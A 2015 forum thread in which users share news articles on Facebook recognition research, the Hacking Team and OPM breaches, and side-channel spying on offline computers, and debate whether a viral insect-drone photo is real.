Post by: space otter on June 27, 2015, 05:54:28 am


well this is sure to make the farce book users happy.... :P




Facebook Knows How To Identify You In Photos When Your Face Is Hidden
 


 The Huffington Post    |  By  Damon Beres   
  Posted:  06/23/2015 11:27 am EDT    Updated:  06/24/2015 11:59 am EDT

vid at link
http://www.huffingtonpost.com/2015/06/23/facebook-face-recognition_n_7645162.html?utm_hp_ref=technology&ir=Technology



(http://i.huffpost.com/gen/3107494/images/n-FACEBOOK-large300.jpg)




 
If you're worried about facial recognition technology tracking you, you're not going to like this.

NewScientist reported Monday that Facebook has developed an experimental algorithm that can automatically recognize an individual based on unique traits like "hairdo, clothing, body shape and pose."

According to NewScientist, the algorithm proved accurate 83 percent of the time when Facebook's artificial intelligence researchers applied it to 40,000 public photographs on Flickr.

Facebook did not respond to a request for comment from The Huffington Post about what products such technology might be applied to. The company recently launched Moments, an app that uses facial recognition to group photos together, and Facebook itself already has the capacity to suggest individuals for tagging in photographs.

The social network has long had designs to develop "deep learning" capabilities, which would allow its platforms to use data to match faces or suggest privacy settings for sensitive content. Facebook is far from alone, with companies like Google and eBay also working on such techniques.

The overall goal, to put it simply, is to help computers think more like humans. You can identify your friends from behind, and now Facebook wants to be able to. Skeptics might argue this opens the door to some worrisome possibilities -- companies that can constantly identify and market to you, for example -- but there are potential benefits.

Facebook's head of A.I., Yann LeCun, told NewScientist that such techniques could improve privacy for individuals and, in theory, alert you whenever a photo of yourself surfaces anywhere online.


Title: Re: they know what you are doing
Post by: ArMaP on June 27, 2015, 07:05:54 am
well this is sure to make the farce book users happy.... :P[/b][/color]
I don't have any photos on my facebook account, no worries for me. ;D
Title: Re: they know what you are doing
Post by: zorgon on June 27, 2015, 10:24:51 am
Facebook people huffed and they puffed when they found out Facebook was a CI/NSA controlled site

Lasted a couple months and everyoe forgot about it, posting as usual

WE told them about it YEARS ago at ATS and at Pegasus and at Cryptom before us

The CEO of Facebook sums it up like this...

Facebook CEO Admits To Calling Users 'Dumb frigs'

(http://i.kinja-img.com/gawker-media/image/upload/s--W9w-DvsG--/c_fit,fl_progressive,q_80,w_320/18k2weoty7r7jjpg.jpg)

Mark Zuckerberg admits in a New Yorker profile that he mocked early Facebook users for trusting him with their personal information. A youthful indiscretion, the Facebook founder says he's much more mature now, at the ripe age of 26.

"They trust me — dumb frigs," says Zuckerberg in one of the instant messages, first published by former Valleywag Nicholas Carlson at Silicon Alley Insider, and now confirmed by Zuckerberg himself in Jose Antonio Vargas's New Yorker piece. Zuckerberg now tells Vargas, "I think I've grown and learned a lot" since those instant messages.

http://gawker.com/5636765/facebook-ceo-admits-to-calling-users-dumb-frigs

And don't even get me started on TWITTER HEADS  :P
Title: Re: they know what you are doing
Post by: space otter on July 06, 2015, 04:46:37 am

 ;D well it was only a matter of time before the hackers started to hack each other... ::)


Hacking Team, Which Sells Surveillance Tech To Governments, Exposed By Major Hack


http://www.msn.com/en-us/news/technology/hacking-team-which-sells-surveillance-tech-to-governments-exposed-by-major-hack/ar-AAcBNCZ
TechCrunch
Jon Russell   1 hr ago

One of the technology world’s most notorious providers of surveillance and intrusion software has found itself on the wrong end of an embarrassing hack.

A range of sensitive documents belonging to Italy-based Hacking Team, which is known for working with governments worldwide, appeared to leak out over the weekend, including email communications and client lists. The hackers, who remain unidentified at this time, also took over the group’s Twitter account, using it to post screenshots of emails and other details, as CSO first reported.

Hacking Team is a mysterious organization which has long been thought to sell tracking and hacking software to governments, particularly those in developing markets. The organization describes itself as providing “effective, easy-to-use offensive technology to the worldwide law enforcement and intelligence communities”. One tool that it is known to offer is Davinci, a service marketed at law enforcement organization that can purportedly access SMS, emails, web browsing and more to locate specific targets.

Last year, the organization denied selling technology to “any repressive regime” following a report from a report from Citizen Lab, but early leaks of the files — which weigh it at over 400GB — appear to show government contracts with Kazahkstan, Sudan, Russia, Saudi Arabia and others.

http://twitter.com/evacide/status/617893808580096000/photo/1

In addition, it seems that the company also sold software to private companies. That was something that it denied doing in the past.

http://twitter.com/netik/status/617916052052144128/photo/1

Further email correspondence appears to show Hacking Team acknowledge that it supplied technology to Ethopian authorities which was subsequently used to spy on journalists and activists, per another report from Citizen Lab.

In an apparent leaked note posted to Twitter, Hacking Team COO Giancarlo Russo acknowledged the potential that the client had abused its software, but appeared to bury any concerns around ethics by explaining that a flag had been raised by “two of the newest guys… who may be frightened by this kind of press.”



Want to guess whether we suspended the client? pic.twitter.com/8H42Io1Z3M

— Hacked Team (@hackingteam) July 6, 2015

A further list, posted to Pastebin, claims to show the organization’s client list, which includes government agencies from Australia, Egypt, Malaysia, Mexico, Singapore, Spain, Thailand, Turkey and UAE. The Verge reported in 2013 that Hacking Team made a major push to lure U.S.-based clients, and according to this list, the FBI and Drug Enforcement Agency had engaged Hacking Team’s services at one point.

Many of the security community may enjoy the irony that Hacking Team, which is listed on Reporter’s Without Borders’ ‘Enemies Of The Internet’ list, is being exposed so publicly, but there’s a genuine concern that if the organization’s source codes are indeed part of the leaked documentation — which experts are still looking over — then that could grant widespread access to some very powerful tools.

Hacking Team founder Christian Pozzi claimed on Twitter that the hackers falsified information about the company’s services and clients, adding that the company is working with police on the issue.



We are currently working closely with the police at the moment. I can't comment about the recent breach.

— Christian Pozzi (@christian_pozzi) July 6, 2015

A further tweet appeared to suggest that the company is shutting down, but it isn’t clearly whether that is genuine or just a reaction to the outpouring of company information into the public domain.



We are closing down. Bye Saudi Arabia. You paid us well. Allahuhakbah.

— Christian Pozzi (@christian_pozzi) July 6, 2015

Source: http://techcrunch.com/2015/07/06/hacking-team-hacked/


Title: Re: they know what you are doing
Post by: space otter on July 06, 2015, 06:50:24 am


too late to modify the above post and add this...sigh  :(


Hacking Team, Maker Of Government Surveillance Software, Targeted In Attack
 
 Reuters    |  By Eric Auchard 
   Posted:  07/06/2015 8:26 am EDT    Updated:  46 minutes ago
http://www.huffingtonpost.com/2015/07/06/hacking-team_n_7734926.html
By Eric Auchard

FRANKFURT (Reuters) - Italy's Hacking Team, which makes surveillance software used by governments to police the web, appeared to be the victim of hacking on a grand scale itself on Monday.

The Milan-based company, which describes itself as a maker of lawful interception software used by police and intelligence services worldwide, has been accused by anti-surveillance campaigners of selling snooping tools to governments with poor human rights records.

Hacking Team found its Twitter account hijacked on Monday and used by hackers to release what is alleged to be more than 400 gigabytes of the company's internal documents, email correspondence, employee passwords and the underlying source code of its products.

"Since we have nothing to hide, we're publishing all our emails, files and source code," posts published on the company's hijacked Twitter account said, but were subsequently deleted.

One U.S. privacy rights activist hailed the publication of the stolen Hacking Team documents as the "best transparency report ever", while another digital activist compared the disclosures to a Christmas gift in July for anti-surveillance campaigners.

Among the documents unearthed and published by unknown hackers was a spreadsheet that purports to show the company's active and inactive clients at the end of 2014.

Those listed included police agencies in several European countries, the FBI and Drug Enforcement Administration (DEA) in the United States, as well as police and state security organizations in countries with records of human rights abuses including Egypt, Ethiopia, Kazakhstan, Morocco, Nigeria, Saudi Arabia and Sudan.

Sudan's National Intelligence Security Service was one of two customers in the client list given the special designation of "not officially supported".

However, a second document, an invoice for 480,000 euros to the same security service, calls into question repeated denials by the Hacking Team that it has ever done business with Sudan.

Hacking Team did not respond to emails or calls seeking to confirm the veracity of the documents. In a previous statement in March, the company said it could not disclose its clients "since to do so could jeopardize ongoing law enforcement investigations".

The 12-year-old, Milan-based company was singled out in 2012 as one of five private sector "Corporate Enemies of the Internet" in a 2012 report by Reporters Without Borders.

Citizen Lab, a digital rights research group loosely affiliated with the University of Toronto, has published numerous reports linking Hacking Team software to repression of minority and dissident groups, as well as journalists in a number of countries in Africa and the Middle East.


 (Editing by Susan Fenton)

Title: Re: they know what you are doing
Post by: zorgon on July 06, 2015, 11:25:13 pm
(https://scontent.flas1-2.fna.fbcdn.net/hphotos-xpf1/v/t1.0-9/561033_10151250472320628_480954031_n.jpg?oh=1917f570a198adcb0f854e57fd0f6b0c&oe=561EADB3)
Title: Re: they know what you are doing
Post by: Pimander on July 07, 2015, 03:11:17 am
Imaging hundreds of those carrying doses of LSD or cyanide!  A plague of drug wielding cyber mozzies!
Title: Re: they know what you are doing
Post by: ArMaP on July 07, 2015, 03:59:35 am
Imaging hundreds of those carrying doses of LSD or cyanide!  A plague of drug wielding cyber mozzies!
I suppose some EMPs could take care of them. :)
Title: Re: they know what you are doing
Post by: space otter on July 07, 2015, 11:58:18 am


hey Z... you are not only way out of date you are incorrect with your post

sadly this kind of scare tactic is usually the work of thor..

I thought better of you



(http://i.guim.co.uk/img/static/sys-images/Guardian/Pix/pictures/2013/1/30/1359561168829/Posing-Otter-005.jpg?w=700&q=85&auto=format&sharp=10&s=26d617a9ff4580163a6d9695d6dc788f)


Insect Mosquito Spy Drone Photo - Internet/Facebook Rumour
3 Apr 2013 - Article No: 1701. Filed under: General | Internet/Facebook Rumour
(http://www.thatsnonsense.com/images/mosquito.jpg)


This image that has been circulated the Internet since at least 2012 purports to show a mosquito size MAV (Miniature Aerial Vehicle or Micro Air Vehicle) funded by the US Government that can be remotely controlled with the ability to take photos, extract DNA or leave RFID tracking technology on humans.

However the photo is certainly false.


.................




http://www.networkworld.com/article/2222611/microsoft-subnet/the-future-of-drone-surveillance--swarms-of-cyborg-insect-drones.html

The Future of Drone Surveillance: Swarms of Cyborg Insect Drones
The future of drone surveillance is coming in a swarm of bug-sized flying spies.
Network World | Jun 18, 2012 2:36 PM PT
So the "mosquito" drone is fake, so far as we know, but the Air Force asked for itty bitty drones that could "covertly drop a mysterious and unspecified tracking 'dust' onto people, allowing them to be tracked from a distance." All of this drone tech is meant for military use, but would we really see these if they were deployed in America?



..................



http://www.hoaxorfact.com/Technology/tiny-robot-mosquito-drones-being-researched-by-the-us-government.html
Story:
Is this a mosquito? No. It’s an insect spy drone for urban areas, already in production, funded by the US Government. It can be remotely controlled and is equipped with a camera and a microphone. It can land on you, and it may have the potential to take a DNA sample or leave RFID tracking nanotechnology on your skin. It can fly through an open window, or it can attach to your clothing until you take it in your home.

Hoax or Fact:
Mixture of hoax and facts.

Analysis:
The story comes with a picture claiming to show a Mosquito spy drone that can take photographs and DNA samples of people, and that it is funded by the U.S government for tracking people.

It is a fact that there are reports suggesting that research is going on to develop the MAV's, i.e. Micro Air Vehicles in the form of tiny flying objects like a mosquito. The purpose of these MAVs is to be useful in scientific and military applications. The micro flying robot can have cameras, microphones and other sensors that can take pictures, videos and other useful scientific and biological information from people and places where humans (or the military) cannot reach. This way the tiny flying robots can also be used as spies and weapons against enemies.

Earlier Citations
In 2007, at the International Conference on Intelligent Robots and Systems (IROS), the latest developments in unmanned aerial vehicles (UAVs) were showcased. Scientists talked about the design of micro UAVs of insect-size that actually flap their tiny little wings, and convey important communication information in a given mission. Not just from U.S, there were in total 20 UAV-related papers at the conference, from four continents and eight countries, including Portugal, Germany, France, Switzerland, Japan, Australia, Mexico, and Brazil.

In 2008, the U.S. military engineers were trying to design flying robots disguised as insects which can fly and spy on enemies to conduct dangerous missions without risking human lives. Refer to an animated picture in the image section below. Greg Parker, who helps lead this research at Wright-Patterson Air Force Base in Dayton talks about this saying:

"The way we envision it is, there would be a bunch of these sent out in a swarm. If we know there's a possibility of bad guys in a certain building, how do we find out? We think this would fill that void."

Parker and his team planned to start and develop such a bird-sized robot as soon as 2015, followed by the insect-sized models by 2030.

The Facts
The picture shown in the story is not a real robot mosquito drone, but simply one such proposed 'prototype' that may become reality in future, and perhaps they will also be able to take photographs and DNA samples of people. But as of now, these are only speculations, and not facts in practical. A quote from RT America confirms the same:

As early as in 2007 the US government was accused of secretly developing robotic insect spies when anti-war protesters in the US saw some flying objects similar to dragonflies or little helicopters hovering above them. No government agency has admitted to developing insect-size spy drones though some official and private organizations have admitted that they were trying.

Watch the video, it explains the same story.

References:
Unraveling a Butterfly's Aerial Antics Could Help Builders of Bug-Size Flying Robots
The Coolest Flying Robot Projects At IROS Conference
U.S. hopes to develop bug-sized, flying spies
US military surveillance future: Drones now come in swarms?


.................................



Example:   [Collected via e-mail, August 2012]
http://www.snopes.com/photos/technology/insectdrone.asp
Insect Spy Drone
Claim:   Photograph shows an insect spy drone that can take photographs and DNA samples.




 MIXTURE



Example:   [Collected via e-mail, August 2012]


Is this a mosquito?

No. It's an insect spy drone for urban areas, already in production, funded by the US Government. It can be remotely controlled and is equipped with a camera and a microphone. It can land on you, and it may have the potential to take a DNA sample or leave RFID tracking nanotechnology on your skin. It can fly through an open window, or it can attach to your clothing until you take it in your home.


image: http://www.snopes.com/photos/technology/graphics/drone.jpg

 
 

Origins:   One of the current areas of research reportedly being undertaken in the scientific/military field is the development of micro air vehicles (MAVs), tiny flying objects intended to go places that cannot be (safely) reached by humans or other types of equipment. One of the primary military applications envisioned for MAVs is the gathering of intelligence (through the surreptitious use of cameras, microphones, or other types of sensors); among the more extreme applications posited for such devices is that they may eventually be used as "swarm weapons" which could be launched en masse against enemy forces.

Read more at http://www.snopes.com/photos/technology/insectdrone.asp#FL062uqbYmMmM2Ur.99
Example:   [Collected via e-mail, August 2012]


Is this a mosquito?

No. It's an insect spy drone for urban areas, already in production, funded by the US Government. It can be remotely controlled and is equipped with a camera and a microphone. It can land on you, and it may have the potential to take a DNA sample or leave RFID tracking nanotechnology on your skin. It can fly through an open window, or it can attach to your clothing until you take it in your home.


image: http://www.snopes.com/photos/technology/graphics/drone.jpg

 
 

Origins:   One of the current areas of research reportedly being undertaken in the scientific/military field is the development of micro air vehicles (MAVs), tiny flying objects intended to go places that cannot be (safely) reached by humans or other types of equipment. One of the primary military applications envisioned for MAVs is the gathering of intelligence (through the surreptitious use of cameras, microphones, or other types of sensors); among the more extreme applications posited for such devices is that they may eventually be used as "swarm weapons" which could be launched en masse against enemy forces.

Read more at http://www.snopes.com/photos/technology/insectdrone.asp#FL062uqbYmMmM2Ur.99Is this a mosquito?

No. It's an insect spy drone for urban areas, already in production, funded by the US Government. It can be remotely controlled and is equipped with a camera and a microphone. It can land on you, and it may have the potential to take a DNA sample or leave RFID tracking nanotechnology on your skin. It can fly through an open window, or it can attach to your clothing until you take it in your home.
Read more at http://www.snopes.com/photos/technology/insectdrone.asp#FL062uqbYmMmM2Ur.99Origins:   One of the current areas of research reportedly being undertaken in the scientific/military field is the development of micro air vehicles (MAVs), tiny flying objects intended to go places that cannot be (safely) reached by humans or other types of equipment. One of the primary military applications envisioned for MAVs is the gathering of intelligence (through the surreptitious use of cameras, microphones, or other types of sensors); among the more extreme applications posited for such devices is that they may eventually be used as "swarm weapons" which could be launched en masse against enemy forces.

Some efforts in MAV research have involved trying to mimic birds or flying insects to achieve flight capabilities not attainable through other means of aerial propulsion. In 2007 a bug-like MAV model with a
Read more at http://www.snopes.com/photos/technology/insectdrone.asp#FL062uqbYmMmM2Ur.99Origins:   One of the current areas of research reportedly being undertaken in the scientific/military field is the development of micro air vehicles (MAVs), tiny flying objects intended to go places that cannot be (safely) reached by humans or other types of equipment. One of the primary military applications envisioned for MAVs is the gathering of intelligence (through the surreptitious use of cameras, microphones, or other types of sensors); among the more extreme applications posited for such devices is that they may eventually be used as "swarm weapons" which could be launched en masse against enemy forces.

Some efforts in MAV research have involved trying to mimic birds or flying insects to achieve flight capabilities not attainable through other means of aerial propulsion. In 2007 a bug-like MAV model with a
Read more at http://www.snopes.com/photos/technology/insectdrone.asp#FL062uqbYmMmM2Ur.99............
Title: Re: they know what you are doing
Post by: zorgon on July 07, 2015, 04:16:15 pm
BOTH your rebuttal pages say MIXTURE  in other words part true part false  even Snopes  :P

From Snopes

Quote
Origins:   One of the current areas of research reportedly being undertaken in the scientific/military field is the development of micro air vehicles (MAVs), tiny flying objects intended to go places that cannot be (safely) reached by humans or other types of equipment. One of the primary military applications envisioned for MAVs is the gathering of intelligence (through the surreptitious use of cameras, microphones, or other types of sensors); among the more extreme applications posited for such devices is that they may eventually be used as "swarm weapons" which could be launched en masse against enemy forces.

Some efforts in MAV research have involved trying to mimic birds or flying insects to achieve flight capabilities not attainable through other means of aerial propulsion. In 2007 a bug-like MAV model with a 3-cm wingspan was displayed at a robotics conference, in 2008 the U.S. Air Force released a simulated video showing MAVs about the size of bumblebees, and in 2012 engineers at Johns Hopkins University were studying the flight of butterflies to "help small airborne robots mimic these maneuvers."

So  yes the one on the picture is a concept model BUT they ARE working on them

(http://s1.ibtimes.com/sites/www.ibtimes.com/files/styles/v2_article_large/public/2014/01/08/nano-drones.jpg)

Keep an eye on those Humming Birds at your window :P

[youtube]WRwPCzUpGLU[/youtube]

https://www.youtube.com/watch?t=10&v=WRwPCzUpGLU
Title: Re: they know what you are doing
Post by: zorgon on July 07, 2015, 04:21:59 pm

hey Z... you are not only way out of date you are incorrect with your post
I thought better of you

Before you go huffing and puffing :P you might want to watch THIS and listen to the section at 3:00 about the "incapacitating chemicals" And don't forget that by the time they RELEASE this info to the public it is already obsolete :P

[youtube]z78mgfKprdg[/youtube]

https://www.youtube.com/watch?v=z78mgfKprdg
Title: Re: they know what you are doing
Post by: space otter on July 07, 2015, 04:26:13 pm
yeah  it's a concept and could happen in the future..but it isn't a done deal  as the copy insinuated


at first I thought you were doing your usual to see who would catch it


if we didn't have so much rain I wouldn't even be inside...sigh

sorry didn't see your post...you're right I should just read the world is coming to an end and nobody really cares anymore

like my s-I-l says all the time

life is tough then you die :-X
Title: Re: they know what you are doing
Post by: zorgon on July 07, 2015, 04:30:31 pm
(http://www.nature.com/nnano/journal/v8/n7/images/nnano.2013.128-i1.jpg)

Nature Nanotechnology 8, 475–476 (2013) doi:10.1038/nnano.2013.128
Published online 03 July 2013

http://www.nature.com/nnano/journal/v8/n7/full/nnano.2013.128.html
Title: Re: they know what you are doing
Post by: zorgon on July 07, 2015, 04:39:09 pm
yeah  it's a concept and could happen in the future..but it isn't a done deal  as the copy insinuated

The photo is a concept and yeah the facebook added texts is Thorish :P

Not so sure it isn't a done deal though. I am finding a lot of references in science publications and militaray docs that these things are out there already. Heck "Smart Dust" was even shown on NCIS


Quote
if we didn't have so much rain I wouldn't even be inside...sigh

We have had rain for two days now. Record  warm in Jan  record cool in may  record EVER hot in June and now rain and cooler in July   

Quote
sorry didn't see your post...you're right I should just read the world is coming to an end and nobody really cares anymore

I don't think the world is coming to an end :P  But the reason people don't care anymore is because a) they don't know what is real or not b) there is nothing they can do about it.

But consider this... before the internet NO ONE cared what went on outside their local environment :D  save maybe a few who watched world news at 11 and shook their heads on how crazy the world was


Quote
like my s-I-l says all the time
life is tough then you die :-X

I have always heard "Life's a bitch, then you marry one :P then you die"  But I added "... but sometimes you can pick up Roses along the way"

I have a LOT of "Rose" ;D


Title: Re: they know what you are doing
Post by: space otter on July 07, 2015, 04:53:36 pm


Quote
But consider this... before the internet NO ONE cared what went on outside their local environment :D  save maybe a few who watched world news at 11 and shook their heads on how crazy the world was


well I hafta disagree with that..imo before the internet you got your info from face to face conversations and people traveled.. with the internet it seems that any info out there is generic
and homogenized within 24 hours..like a giant game of gossip

when I met hubby he was army at a nike site...yep..interesting info there and the guys drank a lot ;D
I drove (nothing was ever close by) into pgh for all kinds of classes, yoga, astrology, many things that  they called esp stuff,  old book stores....people knew things and talked...you could tell weather to believe it or not
now.. it's all in print and everyone wants attention and magnifies ...
I miss the actual conversations

sigh
Title: Re: they know what you are doing
Post by: thorfourwinds on July 08, 2015, 06:03:49 am
(http://www.thelivingmoon.com/gallery/albums/userpics/10005/windstream_letter__copy.jpg)


How to Turn off the Walled Garden (http://www.dslreports.com/faq/16040)

All Westell and ActionTec modems that are being shipped to customers now have a factory setting ENABLED by default known as Walled Garden.

Walled Garden causes a no route situation (unable to connect to the internet or surf) within the modem in order to force registration via the Web Based Activation site. In order for you to route (or connect to the internet or surf) with these modems, Walled Garden must be turned off or disabled. For new customers this can be accomplished by completing the WBA activation website.

For the Westell 327 and 6100 Modems use »192.168.1.1/verizon/redirect.htm.

For the Actiontec Gateway use »192.168.1.1/verizon/redirect

For Westell 6100F, Westell 6100, Westell Versalink 327W, and Westell 7500, simply visit »192.168.1.1/verizon/redirect.htm and enter the modems username and password (defaul modem user name and password is admin and password. Click DISABLE and, and personalized your modems user settings. It is advisable that you change the password to admin. Turn OFF your modem for 30 seconds.
You should be able to route (connect to internet) after walled Garden is OFF.

Fow Actiontec Gateway, just visit »192.168.1.1/verizon/redirect and follow the above procedure clicking OFF button.
Title: Re: they know what you are doing
Post by: space otter on July 08, 2015, 11:03:15 am

holy heck Thor..

thanks for that info..guess I hafta look into that now...

still soggy here.. 1 3/4 inches of rain yesterday

Title: Re: they know what you are doing
Post by: space otter on July 09, 2015, 04:29:31 pm


http://www.huffingtonpost.com/2015/07/09/social-security-data-breach_n_7764812.html


Hackers Stole Social Security Numbers From 21.5 Million People In Recent Data Breach, U.S. Says


 Reuters 
   Posted:  07/09/2015 3:53 pm EDT    Updated:  2 hours ago


WASHINGTON, July 9 (Reuters) - The U.S. Office of Personnel Management said on Thursday that hackers had stolen sensitive information - including Social Security numbers - of about 21.5 million people who have undergone background checks for security clearances since 2000.

Those exposed included 19.7 million people who applied for the clearances, plus 1.8 million non-applicants, mostly spouses or co-habitants of applicants, OPM said.

The 21.5 million affected is in addition to information about 4.2 million current and former federal workers stolen in a separate but related incident. There is significant overlap between the two groups.

The United States has identified China as the leading suspect in the massive hacking of the U.S. government agency, an assertion China's Foreign Ministry dismissed as "absurd logic."

The incidents have outraged members of Congress and worried the millions of Americans affected since they were revealed last month. Some lawmakers have called for the resignation of Katherine Archuleta, the OPM director.

OPM said in a release that its investigation had found no information "at this time" to suggest any misuse or further dissemination of the information stolen from its systems.

Background investigation records contained some information on mental health and financial history provided by security clearance applicants and others contacted during their investigations. OPM said there was no evidence that separate systems storing information on health, financial, payroll and retirement records of federal employees were affected by the hacking.

OPM said it is highly likely that anyone who went through a background investigation after 2000 was affected by the cyber breach. Those who underwent background checks before 2000 might be impacted but it is less likely, the personnel agency said. (Reporting by Patricia Zengerle; Editing by Sandra Maler and Bill Trott)


Title: Re: they know what you are doing
Post by: thorfourwinds on July 09, 2015, 07:47:03 pm
Rain helps the garden grow…much love from above.

The more we check in to this 'WALLED GARDEN' carp, the more irritating it becomes.

(http://www.thelivingmoon.com/gallery/albums/userpics/10005/when_the_reset_button_Verizon.png)
Title: Re: they know what you are doing
Post by: zorgon on July 09, 2015, 08:02:43 pm
Perhaps time to find a new IP provider?
Title: Re: they know what you are doing
Post by: ArMaP on July 10, 2015, 06:07:57 am
Rain helps the garden grow…much love from above.

The more we check in to this 'WALLED GARDEN' carp, the more irritating it becomes.
Some ISPs have very limiting conditions, like not allowing (or reducing the speed) peer to peer or TOR (not thorfourwinds ;)) connections.

That and what they allow us to have on our computers connected to their equipment is one of the things I always look into when comparing ISPs.
Title: Re: they know what you are doing
Post by: space otter on July 15, 2015, 10:46:51 am


in my opinion tech just gets scarier
it's not a convenience it's a invasion




http://www.huffingtonpost.com/2015/07/13/hands-free-tinder-app_n_7784892.html?ir=Technology

 The Huffington Post    |  By  Ron Dicker   
 Posted:  07/13/2015 12:21 pm EDT    Updated:  07/13/2015 12:59 pm EDT

'Hands-Free Tinder' App Will Let You Swipe Right With Your Heartbeat

If you have a pulse, you won't need to swipe.

Texas marketing and advertising firm T3 is developing a hands-free Tinder-like app for the Apple Watch that measures your heart rate as you view potential dates. If your pulse quickens, it's a match. No right swipe necessary.

(http://share.gifyoutube.com/vWOa3o.gif)
The app is intended to launch when the new Apple Watch OS software becomes available to users, a T3 spokeswoman told The Huffington Post. (Apple has said that would be this fall. )

While the app's follow-your-heart sentiment is admirable, AdWeek noted that our pulses normally tend to fluctuate. The media outlet noted a few other potential flaws: "What if I had a pacemaker? Or a heart murmur? Or one of those coal-fired difference engine hearts like Dick Cheney?"

Apple sold an estimated 4.5 million watches in the last quarter, according to Fortune, so just imagine the matchmaking possibilities.




Title: Re: they know what you are doing
Post by: zorgon on July 15, 2015, 10:31:28 pm
How about THIS?

[youtube]9J7GpVQCfms[/youtube]

https://www.youtube.com/watch?v=9J7GpVQCfms

I watched the new Terminator last night  Awesome movie!  It was about how all this tech we connect to everything takes over... literally

What was really scary? The theater had only about 20 people in it, while the movie Minions was packed.  All the people that exited the Minion movie LOOKEd like Minions :P  And they all stopped in the hallway on their cell phones and Ipads  It was CREEPY  after watching the Terminator about just this scenario

Title: Re: they know what you are doing
Post by: burntheships on July 16, 2015, 09:56:05 pm
I was driving along last night and observed a sign on a road that read:
No Cell Zone. I immediately thought hey, thats nice!
It may come to the point where we need tech free zones to ensure
a layer of protection.

On a seperate but related note: In the one of the last hacking of
Gov Database, fingerprints were compromised...1 million of them.
Time to change your fingerprints..........oh wait! 
Title: Re: they know what you are doing
Post by: zorgon on July 16, 2015, 11:00:36 pm
[youtube]UyUayCaDdMI[/youtube]

https://www.youtube.com/watch?v=UyUayCaDdMI
Title: Re: they know what you are doing
Post by: Elvis Hendrix on July 17, 2015, 04:03:59 am
They could be watching you right now!!

This zoom really makes me wanna buy one of these.

(http://i1284.photobucket.com/albums/a572/paparumbo/OblongFavoriteGiraffe_zps5g9e2g0l.gif)



http://www.amazon.co.uk/exec/obidos/ASIN/B00E0YFOKI/b3ta-21

Not even too expensive really.
Title: Re: they know what you are doing
Post by: space otter on July 18, 2015, 10:02:27 am

hey BTS
that probably meant you couldn't pick up a signal because of no tower..sadly



8 insane ways your phone and computer can be hacked

Business Insider
7/10/2015
http://www.msn.com/en-us/news/itinsider/8-insane-ways-your-phone-and-computer-can-be-hacked/ar-AAcOPUP#page=1

Hacking is the new spying. And, as we've learned time and time again, both government and private organizations are using cyber-spy techniques to gain as much intelligence as they can. But getting this data can be difficult. In fact, some of the most previous of digital information is safeguarded by machines that have no contact with the outside world. So can this internet-less data be hacked? Well, yes. With some help from the research of the security firm Kaspersky Lab, as well as some of our own personal digging, here's a look into some of the insane and creepy technologies used to hack offline devices.


1 Detecting electromagnetic radiation

Both the US and the USSR have spent decades looking into the electromagnetic radiation that an electronic device emits. Kaspersky Lab writes that once a device is plugged into a power line it "generates electromagnetic radiation that can be intercepted by proven technologies." Now people have figured out how to harness this information to track keystrokes. Writes Kaspersky Lab: Keystrokes can be remotely tracked with high accuracy at the 67-feet (20-meter) distance by using a homemade device that analyzes the radio spectrum and costs around $5,000. It is interesting to note that the attack is equally effective against common cheap USB keyboards, expensive wireless keyboards with a signal encryption, and built-in notebook keyboards.

2 Power consumption analysis

While on the topic of electricity, it's also possible to deduce a person's device activity based on the power their gadgets consume. A technique called Load Monitoring monitors voltage and current changes to understand activity. It's been used by electricity companies to better understand what is causing certain changes in electricity usage in a specific place. But in Japan load monitoring has been shown to be able to pinpoint exactly what device is running at what time. Similarly, researchers have begun looking at electricity consumption as a way to detect when a computer malware has been injected into a computer network.

3 What's inside your smartphone

It's true that smartphones are connected to the internet, but there are other parts inside it that also give away a slew of information. For example, the accelerometer inside a phone — which is the sensor used to track a phone's tilt and motion — can be used to detect what someone is typing on a computer. According to Kaspersky Lab, if a smartphone is near a computer keyboard it "provides an approximate 80 percent recognition accuracy rating" at tracking what a person is typing.

4 But wait there's more...

Not only can accelerometers analyze what a person is typing, they have also been proven successful at tracking where people go if they are traveling on an underground train. The way it works is that the bumps and duration of each individual trip between train stations works as a sort of fingerprint of motion. So if a spy is trying to track someone on the subway, they could look at their accelerometer and deduce which train station the person traveled to.

5 Beware the laser!

There are other, more futuristic-sounding methods for keylogging. For example, aiming a laser ray at a computer is a way to "register vibrations," says Kaspersky Lab. This method is more accurate than using the accelerometer, but it requires that laser being pointed at a part of the device that reflects light

6 Radio waves that intercept the most secure of networks

This one is a bit more complicated, but is probably the most sophisticated sort of cyberspying. Oftentimes organizations holding very confidential data don't connect the computers holding this information to the internet. Instead, these devices are considered air-gapped. This means they are completely isolated from any external networks. It may seem impossible to hack into these devices, but it turns out there is a way. If a spy wants to get this data, they could implant a small device onto the computer that infects the closed-off network with a piece of malware. Then, this malware can collect data on the infected network and send it via radio signals that every computer video card automatically generates. And here's where it gets even crazier: People's smartphones can work as the way to deliver this data. So if someone with a mobile phone is nearby, they can unwittingly receive data sent from the device to the mobile phone via FM waves and then send that data to a hacker. To set this up would require both getting the malware onto the air-gapped computers, as well as infecting a mobile phone to receive this data. But it's not impossible, and it's likely a variation of this method that the well-known Stuxnet worm was first implanted.

7 Your computer's heat...

This is another complicated tactic to extract data from air-gapped, or offline, computers. And it uses the heat from the motherboard as a method of wireless data transfer. According to Kaspersky Lab, air-gapped computers are often put next to internet-connected computer for ease. If both computers are infected with a special malware, some crazy spying can ensue. It works like this: "The malware reads classified data and periodically changes the system temperature by adjusting the load level and producing a modulated heat signal. The second computer reads and decodes it and sends the classified data over the Internet." So the changes in heat send a 'signal.' Of course, this sort of communication is very slow. And Kaspersky says the maximum transmission speed is eight bits per hour.

8 Talking through steel walls

Even if a device is shielded in a closed-off room, sometimes even those walls can be permeated. For example, there is a spy device that can send and receive data through steel walls. Kaspersky Lab explains, "One unit is inconspicuously placed inside of the classified room, while the other is placed somewhere outside of it. The data transfer rate through steel for ultrasound reaches up to 12 MB/s. Additionally, no power supply is required for one of the units, as the energy is transmitted along with data."





oh yeah and there are those numbers again..3 6 9 ..maybe I just notice them and it doesn't mean anything else
Title: Re: they know what you are doing
Post by: space otter on July 29, 2015, 08:23:50 am


they heard it from a birdie..lol  I stopped posting pic a while back.
.maybe I'm psychic   ;)    :P 



http://www.huffingtonpost.com/entry/russian-hackers-used-twitter-to-target-us-government-report_55b8d07fe4b0a13f9d1ad6ea?utm_hp_ref=technology
Reuters
By Joseph Menn
Posted: 07/29/2015


Hackers are using increasingly complex methods, researchers say.

SAN FRANCISCO (Reuters) - Russian government-backed hackers who penetrated high-profile U.S. government and defense industry computers this year used a method combining Twitter with data hidden in seemingly benign photographs, according to experts studying the campaign.

